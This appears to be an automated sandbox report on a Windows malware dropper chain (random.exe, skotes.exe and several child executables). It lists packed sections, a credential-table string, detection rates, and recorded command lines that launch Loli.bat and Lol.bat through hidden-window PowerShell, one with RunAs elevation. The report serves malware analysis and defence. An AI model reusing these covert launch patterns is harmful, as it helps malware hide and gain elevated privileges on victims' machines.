Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FF93EC 45_2_00007FF787FF93EC
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FF3C08 45_2_00007FF787FF3C08
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF78800446C 45_2_00007FF78800446C
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FFE564 45_2_00007FF787FFE564
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FF6D5C 45_2_00007FF787FF6D5C
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF78800A578 45_2_00007FF78800A578
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FFFDB0 45_2_00007FF787FFFDB0
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FF35C4 45_2_00007FF787FF35C4
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF788000DBC 45_2_00007FF788000DBC
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FF75E0 45_2_00007FF787FF75E0
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FFA6B4 45_2_00007FF787FFA6B4
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF7880076DC 45_2_00007FF7880076DC
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FF678C 45_2_00007FF787FF678C
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FFE0D0 45_2_00007FF787FFE0D0
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF7880090C0 45_2_00007FF7880090C0
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF787FF4114 45_2_00007FF787FF4114
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: String function: 000FB230 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: String function: 00108C10 appears 87 times
PE file contains executable resources (Code or Archives)
Source: YzbWjqR[1].exe.6.dr Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 9998297 bytes, 2 files, at 0x2c +A "Loli.bat" +A "Lol.bat", ID 1409, number 1, 413 datablocks, 0x1503 compression
Source: YzbWjqR.exe.6.dr Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 9998297 bytes, 2 files, at 0x2c +A "Loli.bat" +A "Lol.bat", ID 1409, number 1, 413 datablocks, 0x1503 compression
Source: 2aydDCz[1].exe.6.dr Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 9998297 bytes, 2 files, at 0x2c +A "Loli.bat" +A "Lol.bat", ID 1409, number 1, 413 datablocks, 0x1503 compression
Source: 2aydDCz.exe.6.dr Static PE information: Resource name: RT_RCDATA type: Microsoft Cabinet archive data, many, 9998297 bytes, 2 files, at 0x2c +A "Loli.bat" +A "Lol.bat", ID 1409, number 1, 413 datablocks, 0x1503 compression
PE file contains more sections than normal
Source: pythiksdaw.exe.45.dr Static PE information: Number of sections : 11 > 10
Source: pythiksdaw[1].exe.45.dr Static PE information: Number of sections : 11 > 10
PE file does not import any functions
Source: random[1].exe.6.dr Static PE information: No import functions for PE file found
Source: 6e88b14e1e.exe.6.dr Static PE information: No import functions for PE file found
PE file overlay found
Source: random[1].exe.6.dr Static PE information: Data appended to the last section found
Source: 6e88b14e1e.exe.6.dr Static PE information: Data appended to the last section found
Uses 32bit PE files
Source: random.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: random.exe Static PE information: Section: ZLIB complexity 0.998020265667575
Source: random.exe Static PE information: Section: mpszmqpi ZLIB complexity 0.9944430256315008
Source: skotes.exe.0.dr Static PE information: Section: ZLIB complexity 0.998020265667575
Source: skotes.exe.0.dr Static PE information: Section: mpszmqpi ZLIB complexity 0.9944430256315008
Source: OvLh8V8[1].exe.6.dr Static PE information: Section: UPX1 ZLIB complexity 0.9994858547351525
Source: OvLh8V8.exe.6.dr Static PE information: Section: UPX1 ZLIB complexity 0.9994858547351525
Source: KbSwZup[1].exe.6.dr Static PE information: Section: byidmovu ZLIB complexity 0.9944762713658762
Source: KbSwZup.exe.6.dr Static PE information: Section: byidmovu ZLIB complexity 0.9944762713658762
Source: 949wScO[1].exe.6.dr Static PE information: Section: .CODE ZLIB complexity 1.0003345630787037
Source: 949wScO.exe.6.dr Static PE information: Section: .CODE ZLIB complexity 1.0003345630787037
Source: 949wScO[1].exe.6.dr, Program.cs Base64 encoded string: 'MTQyYTQ4MTE1ZDFiOTI0M2RmNTAyZmUyYTkxNTUxZWQyMDc3Y2M5MDZlMmE3YTU1YTgwZGZiMTkwZjQxZDlhNA=='
Source: 949wScO.exe.6.dr, Program.cs Base64 encoded string: 'MTQyYTQ4MTE1ZDFiOTI0M2RmNTAyZmUyYTkxNTUxZWQyMDc3Y2M5MDZlMmE3YTU1YTgwZGZiMTkwZjQxZDlhNA=='
Source: 61.2.949wScO.exe.5a50000.1.raw.unpack, Program.cs Base64 encoded string: 'MTQyYTQ4MTE1ZDFiOTI0M2RmNTAyZmUyYTkxNTUxZWQyMDc3Y2M5MDZlMmE3YTU1YTgwZGZiMTkwZjQxZDlhNA=='
Source: 61.2.949wScO.exe.37e9550.0.raw.unpack, Program.cs Base64 encoded string: 'MTQyYTQ4MTE1ZDFiOTI0M2RmNTAyZmUyYTkxNTUxZWQyMDc3Y2M5MDZlMmE3YTU1YTgwZGZiMTkwZjQxZDlhNA=='
Source: IaobsEngine.exe.20.dr Binary string: \Device\Afd\Mio
Source: IaobsEngine.exe.20.dr Binary string: Failed to open \Device\Afd\Mio:
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@122/38@7/8
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 19_2_001278E7 CoCreateInstance, 19_2_001278E7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\2aydDCz[1].exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Mutant created: \Sessions\1\BaseNamedObjects\wp1
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7992:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7548:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4464:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7028:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\Desktop\random.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c "Loli.bat"
Source: C:\Windows\System32\doskey.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Users\user\Desktop\random.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\random.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: KbSwZup.exe, 0000003C.00000003.2605105840.0000000005DFC000.00000004.00000800.00020000.00000000.sdmp, KbSwZup.exe, 0000003C.00000003.2606173373.0000000005DCE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: random.exe Virustotal: Detection: 62%
Source: random.exe ReversingLabs: Detection: 64%
Source: random.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\random.exe File read: C:\Users\user\Desktop\random.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\random.exe "C:\Users\user\Desktop\random.exe"
Source: C:\Users\user\Desktop\random.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe "C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe"
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c "Loli.bat"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Loli.bat' -ArgumentList 'SONHQYkRMfwzXXluF' -WindowStyle Hidden"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe "C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe "C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\IXP000.TMP\Loli.bat" SONHQYkRMfwzXXluF "
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c "Lol.bat"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Process created: C:\ProgramData\IaobsEngine\IaobsEngine.exe "C:\ProgramData\IaobsEngine\IaobsEngine.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Lol.bat' -ArgumentList 'CecYOJVReWhIq' -WindowStyle Hidden -Verb RunAs"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IXP000.TMP\Lol.bat" CecYOJVReWhIq
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe "C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe"
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe "C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe "C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe"
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process created: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe "C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe"
Source: C:\Users\user\Desktop\random.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe "C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe "C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe "C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe "C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe "C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe "C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c "Loli.bat" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076065001\2aydDCz.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c "Lol.bat" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Loli.bat' -ArgumentList 'SONHQYkRMfwzXXluF' -WindowStyle Hidden" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\IXP000.TMP\Loli.bat" SONHQYkRMfwzXXluF " Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1076689001\j6TfMeT.exe Process created: C:\ProgramData\IaobsEngine\IaobsEngine.exe "C:\ProgramData\IaobsEngine\IaobsEngine.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\doskey.exe doskey clear=cls
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Lol.bat' -ArgumentList 'CecYOJVReWhIq' -WindowStyle Hidden -Verb RunAs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IXP000.TMP\Lol.bat" CecYOJVReWhIq
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c cls
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Process created: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe "C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe"
Source: C:\Users\user\Desktop\random.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\random.exe Section loaded: appresolver.dll Jump to behavior
